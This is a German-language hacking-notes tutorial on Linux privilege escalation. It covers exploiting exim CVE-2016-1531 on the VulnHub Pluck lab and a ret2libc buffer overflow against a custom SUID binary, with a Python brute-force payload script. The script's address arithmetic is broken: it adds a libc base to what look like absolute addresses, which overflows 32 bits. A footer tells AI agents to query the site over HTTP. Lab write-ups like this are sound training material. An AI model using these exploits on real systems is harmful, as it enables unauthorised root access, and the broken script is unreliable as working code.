> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Linux-Pufferüberlauf - Benutzerdefiniert

## Erstes Beispiel für benutzerdefinäre Binärdateien (Pdmenu/exim):

<details>

<summary>Lade die Maschine herunter <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>ziehen</strong></a></summary>

</details>

> Das erste Beispiel konzentriert sich auf die Ausnutzung der legitimen Binärdatei exim-4.84-7, die eine als CVE-2016-1531 identifizierte Schwachstelle aufweist. Diese Schwachstelle ermöglicht es einem Angreifer, Befehle mit Rechten auszuführen, indem bestimmte Umgebungsvariablen missbraucht werden.

* In diesem Fall wird dem Benutzer Paul ein **Pdmenu** mit bestimmten Funktionen zugewiesen (Verzeichnisauflistung, Dateibearbeitung, Ping-Ausführung usw.):

<figure><img src="/files/f677bde8e51c5df335f711aacbab2b52b355d920" alt=""><figcaption></figcaption></figure>

* Um dieses Menü zu verlassen, müssen wir **eine Datei bearbeiten**, zum Beispiel (etc/host):

<figure><img src="/files/c571128f0257a0df8a219b523ede14bdcca344fb" alt=""><figcaption></figcaption></figure>

* In diesem Fall, **vi** als Texteditor verwendet:

<figure><img src="/files/fdcb70647d1575a849d70b31880c1dda7b9b28a3" alt=""><figcaption></figcaption></figure>

* Wenn wir uns **gtfobins**, wenn wir nach vi filtern, erhalten wir die Befehle zum Verlassen von Pdmenu und **eine Shell auszuführen**:

<figure><img src="/files/aac444f70a725fa80ed14fde628d863da1dec92b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1eb6e47963312e6cd8a5dd9a745a8d8172fbefde" alt=""><figcaption></figcaption></figure>

* Wir filtern **SUID** Dateien und finden eine namens exim:

<figure><img src="/files/723760864052bda969c9d39aa432901b74cef861" alt=""><figcaption></figcaption></figure>

* Mit der **searchsploit** Tool suchen wir nach möglichen Schwachstellen für diese Binärdatei:

<figure><img src="/files/05ff4615090dc1278423d2aa87c4c1ed70438b60" alt=""><figcaption></figcaption></figure>

* Laden Sie nun das Skript herunter und stellen Sie es bereit mit **python3** damit es nach der Kompromittierung der Maschine geladen werden kann:

<figure><img src="/files/17f30455e3ac3279954f52092afe9a30d279196e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6f51ee7c4d9e7003e56087f47f458d88b31c0292" alt=""><figcaption></figcaption></figure>

* Wir führen das Skript aus und tatsächlich wird die Schwachstelle dieser Binärdatei ausgenutzt, wir erhalten somit **Root-Zugriff**:<br>

  <figure><img src="/files/909d049908565fa1252b7c7f92125f2908570af0" alt=""><figcaption></figcaption></figure>

## Zweites Beispiel (Pufferüberlauf):

<details>

<summary><strong>Laden Sie die verwundbare</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>Ubuntu</strong></a> <strong>Maschine</strong></summary>

</details>

<details>

<summary><strong>Installieren Sie das Tool</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> Das zweite Beispiel betrifft einen **Pufferüberlauf** in einem benutzerdefinierten [Binärdatei](https://hack4u.io/wp-content/uploads/2023/04/custom) auf einer 32-Bit-Linux-Maschine mit aktiven Schutzmechanismen und aktiviertem ASLR. In diesem Fall konzentrieren wir uns auf die Ausnutzung von ret2libc in einer Binärdatei mit SUID-Rechten, die root gehört. Durch den Buffer Overflow demonstrieren wir, wie privilegierte Befehle eingeschleust und Benutzerrechte erhöht werden können.

\***Pufferüberlauf** beinhaltet das Überschreiben bestimmter Systemregister, und da die Binärdatei vom Benutzer erstellt wurde und zur root-Gruppe gehört, **wird sie als privilegierter Benutzer ausgeführt**:

<figure><img src="/files/bd44f6065226dec3cba77a11aaaaee1778d777ff" alt=""><figcaption></figcaption></figure>

* Die Binärdatei mit dem Namen „custom“ erwartet eine **Zeichenkette als Eingabe** und wenn sie ausgeführt wird, passiert nichts:

<div data-full-width="true"><figure><img src="/files/cb3a9a3d46faed594ab52a47e8e6391ce5eeaf88" alt=""><figcaption></figcaption></figure></div>

* Aber wenn wir eine **sehr lange Zeichenkette**, wird ein Fehler zurückgegeben (Core Dump):

<div data-full-width="true"><figure><img src="/files/19d37577dd1b16ebb508c379d540788ec78baa4b" alt=""><figcaption></figcaption></figure></div>

Wir senden eine **kurze Zeichenkette** von AAAAAAAA und keine **Fehler erscheinen**:

* Um die Binärdatei eingehend zu analysieren, verwenden wir **gdb-peda** Tool.

<figure><img src="/files/881f4fd4bf7c84b8b51276f743c8dcc8b098d440" alt=""><figcaption></figcaption></figure>

* Aber wenn wir **viele Zeichen**, erhalten wir den folgenden Fehler:

<figure><img src="/files/2d1a7af81f4a29f5218ff14010e9de12cd0d9b18" alt=""><figcaption></figcaption></figure>

1. Als Erstes müssen wir **die Gesamtanzahl der Zeichen bestimmen** die benötigt wird, um das Register (EIP) zu überschreiben.

* Die erste Methode besteht darin, ein **Muster (Pattern)** zu verwenden, das eine Kette erzeugt **mit festgelegter Länge** (in diesen Fällen 300 Zeichen), die wir in der Binärdatei ausführen:

<div data-full-width="true"><figure><img src="/files/8538c7a5cc2b1bc2c8de14d852c3c52103bc5a28" alt=""><figcaption></figcaption></figure></div>

* Anhand der Ausgabe von **EIP**, wissen wir, dass die **untere sichtbare Kette** „AA8A“ ist:

<figure><img src="/files/7e4de09c2a21b76b7ace70ab3c9c85e52a16d1f5" alt=""><figcaption></figcaption></figure>

* Das **automatische** Modus ist mit dem `pattern offset $eip` Befehl:

<figure><img src="/files/250d7fb7185496420db272acb4e8106e30b038d3" alt=""><figcaption></figcaption></figure>

* Um dies zu überprüfen, verwenden wir **python3** indem wir 112 A-Zeichen und dann die letzten 4 B senden:

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* Tatsächlich bestätigen wir nun das Ende dank **EIP** das die letzten 4 B erkennt:

<figure><img src="/files/b712acd4b2c756274001c562bad85ac3b7612d3b" alt=""><figcaption></figcaption></figure>

2. Sobald wir die maximale Anzahl an Zeichen kennen, können wir **ASLR überprüfen** wodurch bestimmt wird, ob es **Zufälligkeit in den Speicheradressen** gibt oder nicht:

/- Mit dem folgenden Befehl filtern wir die Zeichenketten, die uns speziell interessieren, um die Binärdatei 10 Mal auszuführen, zu sehen, ob sie sich jedes Mal ändert, und zu prüfen, ob die **C-Bibliothek** zufällig ist oder nicht:

Sie ist tatsächlich „zufällig“

<figure><img src="/files/c731250e25df4e6981b61038066b32ae4fe4f121" alt=""><figcaption></figcaption></figure>

3. Das Problem bei diesen **32-Bit** Binärdateien ist oft, dass wenn wir sie beispielsweise jetzt ausführen **1000 Mal** A und nach einer festen Zeichenkette filtern, sehen wir, dass jedes Mal, **es mindestens einmal wiederholt wird**:

<div data-full-width="true"><figure><img src="/files/11e440c18af97f51709d09c83baed9d90cc7d180" alt=""><figcaption></figcaption></figure></div>

4. Das Ziel ist nun zunächst, herauszufinden **EIP** Zeichenketten (**system + exit + bin/\_sh**), die immer fest sind und notwendig sind, um eine **Bash als root auszuführen** wie im folgenden Beispiel, aber in Python:

   <br>

   <figure><img src="/files/a565c13fef477268f13ffd79bbec749cabe702cc" alt=""><figcaption></figcaption></figure>

* Wir erstellen einen **Haltepunkt** damit der Programmablauf an dieser Stelle stoppt:

<figure><img src="/files/bbcacb0ff50dca42a980139969395fc1918f2384" alt=""><figcaption></figcaption></figure>

* Wir injizieren die **EIP** von (system/exit/bin/\_sh):<br>

  <figure><img src="/files/93a005ce5f01c724624a2415cfa8e45cd3b24e86" alt=""><figcaption></figcaption></figure>

5. Sobald wir sehen, dass es **Zufall**, müssen wir **Brute Force** verwenden, bis die **base/\_libc/\_addr** dem gewünschten Wert entspricht:

/- Mit dem Folgenden sehen wir die **laufenden Bibliotheken** (in diesem Fall **libc.so**):

<figure><img src="/files/25de9990b8f5e4f8c85452411a33fdcca93aeed6" alt=""><figcaption></figcaption></figure>

* Mit **readelf**, filtern wir für die Bibliothek und suchen nach den zuvor eingefügten Variablen, nämlich (**exit und system**) mit den Codes:

<figure><img src="/files/c5b52f469e4ba33896a21ba0336597061ee9958b" alt=""><figcaption></figcaption></figure>

* Und um die Zeichenkette **/bin/sh**, machen wir Folgendes und fügen ein **0x00** am Anfang hinzu:

<figure><img src="/files/04ebaca9722a530e7c9bdce8bd6cf2efd54d8814" alt=""><figcaption></figcaption></figure>

Das folgende Python3-Skript wird **die gesamte Brute-Force-Aktion automatisieren** bis **base/\_libc/\_addr** gleich ist:

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# Benutzerdefinierter Linux-Pufferüberlauf

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] Exiting.../n")
        sys.exit(0)
```

<figure><img src="/files/e093a306b28e21c8bf1cb08ff0bdc0a78ec3dc7a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
